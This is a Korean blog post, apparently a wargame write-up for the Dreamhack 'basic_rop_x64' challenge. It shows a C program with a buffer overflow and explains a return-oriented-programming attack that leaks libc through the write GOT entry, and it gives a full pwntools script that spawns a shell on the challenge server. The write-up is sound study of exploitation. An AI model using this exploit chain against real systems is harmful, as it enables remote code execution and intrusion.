Wargame - 시스템

basic_rop_x64

김가윤 2023. 5. 24. 16:58

 

풀이

카나리와 PIE는 설정되어 있지 않고

NX만 설정되어 있다.

 

소스

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

buf의 크기는 0x40으로 선언됐지만

read 함수를 통해 0x400만큼 입력을 받기 때문에

버퍼 오버플로우 취약점이 발생한다.

 

리턴 가젯을 이용해 libc_base를 구하고 system을 실행하면 된다.

 

익스플로잇

1. libc base와 system 함수 주소 알아내기

  1. write 함수 PLT와 GOT 활용
  2. libc base에서 write 함수까지 오프셋
  3. libc base에서 system 함수까지 오프셋

2. main 함수로 다시 돌아오기

  1. main = e.symbols['main']

3. "/bin/sh" 문자열

  1. libc.so.6에 존재하는 libc base로부터 "/bin/sh" 문자열까지 오프셋

4. rdi 레지스터에 "/bin/sh" 삽입 후 system 함수 호출

 

코드

from pwn import *

context.log_level = 'debug'

r = remote("host3.dreamhack.games", 24406)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']

pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
main = e.symbols['main']

payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_plt)
payload += p64(main)

r.send(payload)
r.recvn(0x40)

write = u64(r.recvn(6)+b"\x00\x00")
libc_base = write - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + 0x1d8698

print(f"read: {hex(write)}")
print(f"libc_base: {hex(libc_base)}")
print(f"system: {hex(system)}")

payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

r.send(payload)
r.interactive()

 

실행 결과

 

헷갈렸던 점

조금 헷갈렸던 점은 페이로드를 0x40 바이트 이상 보냈지만,

서버에서는 write 함수의 출력 크기를 buf(0x40)로 정하기 때문에

서버에서 0x40 바이트만큼 출력해 주기 때문에 buf(0x40)+SFP(0x8) 만큼 받는 게 아니라

p.recvn(0x40)을 통해 buf(0x40) 바이트만큼 데이터를 받아오는 것이다.

payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_plt)
payload += p64(main)

r.send(payload)
r.recvn(0x40)

write = u64(r.recvn(6)+b"\x00\x00")
libc_base = write - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + 0x1d8698

print(f"read: {hex(write)}")
print(f"libc_base: {hex(libc_base)}")
print(f"system: {hex(system)}")
int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

'Wargame - 시스템' 카테고리의 다른 글

basic_rop_x86  (0) 2023.06.06
ssp_001  (0) 2023.05.06
Return to Shellcode  (0) 2023.05.03
basic_exploitation_001  (0) 2023.04.04
basic_exploitation_000  (0) 2023.03.31